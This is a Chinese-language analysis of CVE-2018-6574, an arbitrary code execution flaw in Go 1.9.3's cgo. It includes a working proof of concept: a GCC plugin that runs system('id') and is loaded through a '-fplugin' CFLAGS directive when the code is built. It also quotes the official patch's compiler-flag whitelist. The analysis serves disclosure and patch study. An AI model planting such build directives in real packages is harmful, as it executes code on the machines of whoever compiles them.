CVE-2018-6574(Go 语言任意代码执行漏洞)分析

Table of Contents

1. 测试环境

软件 版本
操作系统 CentOS 7.4
GCC 4.8.5
Go 1.9.3

Go 1.9.3 下载地址:https://dl.google.com/go/go1.9.3.linux-386.tar.gz

2. 漏洞分析

Go 语言支持内嵌 C 语言代码的功能,若是将 C 代码放在注释中,Go 编译时会调用 cgo 来处理 C 代码。举一个例子:

// filename: test.go

package main

/*
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

编译、执行如下:

$ go build test.go
$ ./test
hello world

对于 cgo,支持指定 GCC 的参数,详细可见 cgo 的文档:https://golang.org/cmd/cgo/

但是 cgo 没有对参数进行任何限制,本次漏洞利用,就用到了 GCC 的插件功能,指定 -fplugin 参数可在编译过程中指定加载其他 .so 文件,因此达到了执行任意代码的目的。

首先,我们先写一个动态链接库来做 GCC 的插件:

/*
compile: gcc -shared -o poc.so -fPIC poc.c
*/

#include <stdlib.h>

int plugin_is_GPL_compatible = 1;

void plugin_init() {
    system("id");
}

然后编译:

$ gcc -shared -o poc.so -fPIC poc.c

接修改 test.go,并在注释里加上编译选项:

#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so

修改之后的完整代码如下:

// filename: test.go

package main

/*
#cgo linux CFLAGS: -fplugin=/home/lu4nx/Downloads/poc.so
#include <stdio.h>

void hello_world(){
    printf("hello world\n");
}
*/
import "C"

func main() {
    C.hello_world()
}

最后编译 Go 代码:

$ go build test.go
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# command-line-arguments
uid=1000(lu4nx) gid=1000(lu4nx) groups=1000(lu4nx),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

可见成功加载了之前编译的动态链接库,并执行了 id 命令。

3. 官方修复补丁

修复公告见:https://github.com/golang/go/issues/23672

以 1.9.4 补丁为例,主要在 src/cmd/go/internal/work/security.go 增加了对编译选项的限制,只允许使用部分编译选项:

var validCompilerFlags = []*regexp.Regexp{
        re(`-D([A-Za-z_].*)`),
        re(`-I([^@\-].*)`),
        re(`-O`),
        re(`-O([^@\-].*)`),
        re(`-W`),
        re(`-W([^@,]+)`), // -Wall but not -Wa,-foo.
        re(`-f(no-)?objc-arc`),
        re(`-f(no-)?omit-frame-pointer`),
        re(`-f(no-)?(pic|PIC|pie|PIE)`),
        re(`-f(no-)?split-stack`),
        re(`-f(no-)?stack-(.+)`),
        re(`-f(no-)?strict-aliasing`),
        re(`-fsanitize=(.+)`),
        re(`-g([^@\-].*)?`),
        re(`-m(arch|cpu|fpu|tune)=([^@\-].*)`),
        re(`-m(no-)?stack-(.+)`),
        re(`-mmacosx-(.+)`),
        re(`-mnop-fun-dllimport`),
        re(`-pthread`),
        re(`-std=([^@\-].*)`),
        re(`-x([^@\-].*)`),
}

checkCompilerFlags 函数用来验证编译选项,它会把定义在 validCompilerFlags 里的规则最终传递到 checkFlags 函数来验证。

checkFlags 会根据环境变量定义的规则以及 validCompilerFlags 定义的规则来判断编译选项的合法性。两个函数实现如下:

func checkCompilerFlags(name, source string, list []string) error {
        return checkFlags(name, source, list, validCompilerFlags, validCompilerFlagsWithNextArg)
}

func checkFlags(name, source string, list []string, valid []*regexp.Regexp, validNext []string) error {
        var (
                allow    *regexp.Regexp
                disallow *regexp.Regexp
        )

        // 从环境变量中获取允许的编译选项
        if env := os.Getenv("CGO_" + name + "_ALLOW"); env != "" {
                r, err := regexp.Compile(env)
                if err != nil {
                        return fmt.Errorf("parsing $CGO_%s_ALLOW: %v", name, err)
                }
                allow = r
        }

        // 从环境变量中获取禁止使用的编译选项
        if env := os.Getenv("CGO_" + name + "_DISALLOW"); env != "" {
                r, err := regexp.Compile(env)
                if err != nil {
                        return fmt.Errorf("parsing $CGO_%s_DISALLOW: %v", name, err)
                }
                disallow = r
        }

Args:
        for i := 0; i < len(list); i++ {
                arg := list[i]
                // 检查环境变量指定的黑名单
                if disallow != nil && disallow.FindString(arg) == arg {
                        goto Bad
                }
                // 检查环境变量指定的白名单
                if allow != nil && allow.FindString(arg) == arg {
                        continue Args
                }
                // 后面就是检查 Go 默认允许的编译选项了
                for _, re := range valid {
                        if re.FindString(arg) == arg {
                                continue Args
                        }
                }
                for _, x := range validNext {
                        if arg == x {
                                if i+1 < len(list) && load.SafeArg(list[i+1]) {
                                        i++
                                        continue Args
                                }
                                if i+1 < len(list) {
                                        return fmt.Errorf("invalid flag in %s: %s %s", source, arg, list[i+1])
                                }
                                return fmt.Errorf("invalid flag in %s: %s without argument", source, arg)
                        }
                }
        Bad:
                return fmt.Errorf("invalid flag in %s: %s", source, arg)
        }
        return nil
}

4. 参考链接